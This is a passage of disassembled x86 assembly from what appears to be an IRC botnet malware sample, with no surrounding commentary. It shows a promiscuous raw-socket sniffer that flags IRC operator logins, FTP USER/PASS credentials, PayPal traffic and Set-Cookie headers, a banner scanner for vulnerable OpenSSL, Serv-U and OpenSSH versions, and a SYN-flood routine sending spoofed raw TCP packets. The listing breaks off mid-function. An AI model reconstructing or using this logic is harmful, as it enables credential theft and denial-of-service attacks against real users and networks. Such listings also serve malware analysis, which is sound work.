		test	eax, eax
		pop	ecx
		jnz	short loc_410D78
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D78
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410D78
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410D78
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_410D1A	endp


; =============== S U B	R O U T	I N E =======================================



sub_410E31	proc near		; CODE XREF: sub_41101A+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410E4B


loc_410E47:				; CODE XREF: sub_410E31+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410E4B:				; CODE XREF: sub_410E31+14j
		push	offset aDd	; "#dd"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410E47
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410E71


loc_410E6D:				; CODE XREF: sub_410E31+4Fj
					; sub_410E31+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410E71:				; CODE XREF: sub_410E31+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410E6D
		push	offset aOper	; "oper	"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410E6D
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_410E31	endp


; =============== S U B	R O U T	I N E =======================================



sub_410EA7	proc near		; CODE XREF: sub_41101A+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410EC1


loc_410EBD:				; CODE XREF: sub_410EA7+29j
					; sub_410EA7+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410EC1:				; CODE XREF: sub_410EA7+14j
		push	offset aDd	; "#dd"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410EBD
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410EBD
		push	offset a220	; "220 "
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410EF8


loc_410EF4:				; CODE XREF: sub_410EA7+60j
					; sub_410EA7+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410EF8:				; CODE XREF: sub_410EA7+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410EF4
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410EF4
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_410EA7	endp


; =============== S U B	R O U T	I N E =======================================



sub_410F2E	proc near		; CODE XREF: sub_41101A+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410F48


loc_410F44:				; CODE XREF: sub_410F2E+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410F48:				; CODE XREF: sub_410F2E+14j
		push	offset aDd	; "#dd"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F44
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410F6E


loc_410F6A:				; CODE XREF: sub_410F2E+4Fj
					; sub_410F2E+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410F6E:				; CODE XREF: sub_410F2E+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F6A
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F6A
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F6A
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_410F2E	endp


; =============== S U B	R O U T	I N E =======================================



sub_410FB5	proc near		; CODE XREF: sub_41101A:loc_4113DFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410FCF


loc_410FCB:				; CODE XREF: sub_410FB5+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410FCF:				; CODE XREF: sub_410FB5+14j
		push	offset aDd	; "#dd"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410FCB
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410FF5


loc_410FF1:				; CODE XREF: sub_410FB5+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410FF5:				; CODE XREF: sub_410FB5+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410FF1
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_410FB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41101A	proc near		; DATA XREF: sub_401AC7+3B2Ao

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_418030
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4C9810	; gethostname
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4C987C	; gethostbyname
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_418810
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4C9878	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_4110C0
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_4110C0:				; CODE XREF: sub_41101A+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4C9828	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411136
		call	dword_4C9798	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_436DB8
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_411112
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_408C5D
		add	esp, 14h


loc_411112:				; CODE XREF: sub_41101A+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_413B5E
		pop	ecx
		push	edi
		call	dword_4C9890	; closesocket
		push	[ebp+var_34]
		call	sub_40A51F
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_411136:				; CODE XREF: sub_41101A+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4C97AC	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4111BC
		call	dword_4C9798	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_436D88
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_411198
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_408C5D
		add	esp, 14h


loc_411198:				; CODE XREF: sub_41101A+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_413B5E
		pop	ecx
		push	edi
		call	dword_4C9890	; closesocket
		push	[ebp+var_34]
		call	sub_40A51F
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_4111BC:				; CODE XREF: sub_41101A+13Cj
		mov	esi, 200h


loc_4111C1:				; CODE XREF: sub_41101A+1D6j
					; sub_41101A+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4C9814	; recv
		cmp	[ebp+var_113AF], 6
		jnz	short loc_4111C1
		push	[ebp+var_113A4]
		mov	edi, dword_4231C8
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_4111C1
		cmp	[ebp+arg_0], 19h
		jz	short loc_4111C1
		cmp	edi, 6Eh
		jz	short loc_4111C1
		cmp	edi, 19h
		jz	short loc_4111C1
		push	[ebp+var_113AC]
		call	sub_410D0B
		pop	ecx
		push	dword ptr [eax]
		call	dword_4231CC	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset dword_42E26C
		push	eax
		call	sub_417D96
		push	[ebp+var_113A8]
		call	sub_410D0B
		add	esp, 10h
		push	dword ptr [eax]
		call	dword_4231CC	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset dword_42E26C
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_4176F0
		add	esp, 10h
		test	eax, eax
		jle	short loc_4112BF


loc_41128B:				; CODE XREF: sub_41101A+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4112A2
		mov	byte ptr [eax],	20h


loc_4112A2:				; CODE XREF: sub_41101A+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4112AA
		mov	byte ptr [eax],	20h


loc_4112AA:				; CODE XREF: sub_41101A+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4176F0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_41128B


loc_4112BF:				; CODE XREF: sub_41101A+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_411372
		cmp	edi, 50h
		jz	loc_411372
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_410D1A
		test	al, al
		pop	ecx
		jz	short loc_411306
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436D54
		jmp	loc_4113A1
; ---------------------------------------------------------------------------


loc_411306:				; CODE XREF: sub_41101A+2C7j
		cmp	edi, 50h
		jz	short loc_411372
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_410E31
		test	al, al
		pop	ecx
		jz	short loc_41133C
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436D20
		jmp	short loc_4113A1
; ---------------------------------------------------------------------------


loc_41133C:				; CODE XREF: sub_41101A+300j
		cmp	edi, 50h
		jz	short loc_411372
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_410EA7
		test	al, al
		pop	ecx
		jz	short loc_411372
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436CEC
		jmp	short loc_4113A1
; ---------------------------------------------------------------------------


loc_411372:				; CODE XREF: sub_41101A+2A9j
					; sub_41101A+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_410F2E
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_4113DF
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_436CB4


loc_4113A1:				; CODE XREF: sub_41101A+2E7j
					; sub_41101A+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_4111C1
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_408C5D
		add	esp, 14h
		jmp	loc_4111C1
; ---------------------------------------------------------------------------


loc_4113DF:				; CODE XREF: sub_41101A+36Ej
		call	sub_410FB5
		test	al, al
		pop	ecx
		jz	loc_4111C1
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436C7C
		jmp	short loc_4113A1
sub_41101A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41140D	proc near		; DATA XREF: sub_401AC7+5C6Bo

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4117F6
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_436DE4
		push	eax
		call	sub_417D96
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_41149D
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_408C5D
		add	esp, 14h


loc_41149D:				; CODE XREF: sub_41140D+6Ej
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_413B5E
		push	[ebp+var_290]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
sub_41140D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4114BF	proc near		; CODE XREF: sub_4117F6+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4C9778	; WSAStartup
		test	eax, eax
		jz	short loc_4114FF
		xor	eax, eax
		jmp	loc_4117F2
; ---------------------------------------------------------------------------


loc_4114FF:				; CODE XREF: sub_4114BF+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4C989C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4117EA
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4C97DC	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4117E0
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4C97FC	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4C97FC	; htons
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4C97FC	; htons
		mov	[ebp+var_12], ax
		call	sub_417DF2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4C97FC	; htons
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4C97F8	; htonl
		push	offset dword_436E40
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4115CF
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_411623
; ---------------------------------------------------------------------------


loc_4115CF:				; CODE XREF: sub_4114BF+105j
		push	offset dword_436E34
		push	[ebp+arg_8]
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4115EB
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_411623
; ---------------------------------------------------------------------------


loc_4115EB:				; CODE XREF: sub_4114BF+121j
		push	offset dword_436E28
		push	[ebp+arg_8]
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411623
		call	sub_417DF2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_417DF2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_411623:				; CODE XREF: sub_4114BF+10Ej
					; sub_4114BF+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4C97FC	; htons
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	dword_423130	; QueryPerformanceFrequency
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_42312C	; QueryPerformanceCounter
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_419780
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_411671:				; CODE XREF: sub_4114BF+2E2j
					; sub_4114BF+2F0j
		mov	[ebp+var_4], bx
		call	sub_417DF2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4C97FC	; htons
		mov	[ebp+var_14], ax
		call	sub_417DF2
		mov	edi, eax
		shl	edi, 10h
		call	sub_417DF2
		or	edi, eax
		push	edi
		call	dword_4C97FC	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4C97F8	; htonl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4C97FC	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_418810
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_418810
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_409D76
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_418810
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_418810
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_409D76
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_418810
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4C985C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4117B4
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_42312C	; QueryPerformanceCounter
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4117DD
		jl	loc_411671
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4117DD
		jmp	loc_411671
; ---------------------------------------------------------------------------


loc_4117B4:				; CODE XREF: sub_4114BF+2CBj
		call	dword_4C9798	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_436E0C
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_413B5E
		add	esp, 10h
		jmp	short loc_4117E0
; ---------------------------------------------------------------------------


loc_4117DD:				; CODE XREF: sub_4114BF+2E0j
					; sub_4114BF+2EEj
		mov	ebx, [ebp+arg_8]


loc_4117E0:				; CODE XREF: sub_4114BF+78j
					; sub_4114BF+31Cj
		push	[ebp+var_20]
		call	dword_4C9890	; closesocket
		pop	esi


loc_4117EA:				; CODE XREF: sub_4114BF+5Bj
		call	dword_4C9760	; WSACleanup
		mov	eax, ebx


loc_4117F2:				; CODE XREF: sub_4114BF+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4114BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4117F6	proc near		; CODE XREF: sub_41140D+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_409C07
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_417C89
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_417C89
		mov	edi, eax
		call	sub_417DF2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4114BF
		add	esp, 20h
		test	eax, eax
		jnz	short loc_411845
		push	1
		pop	eax


loc_411845:				; CODE XREF: sub_4117F6+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4117F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411854	proc near		; DATA XREF: sub_401AC7+5E44o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_4C9878	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4118EF
		call	dword_4C9798	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_436F30
		push	eax
		call	sub_417D96
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4118D2
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_408C5D
		add	esp, 14h


loc_4118D2:				; CODE XREF: sub_411854+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_413B5E
		push	[ebp+var_38]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4230CC	; ExitThread


loc_4118EF:				; CODE XREF: sub_411854+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
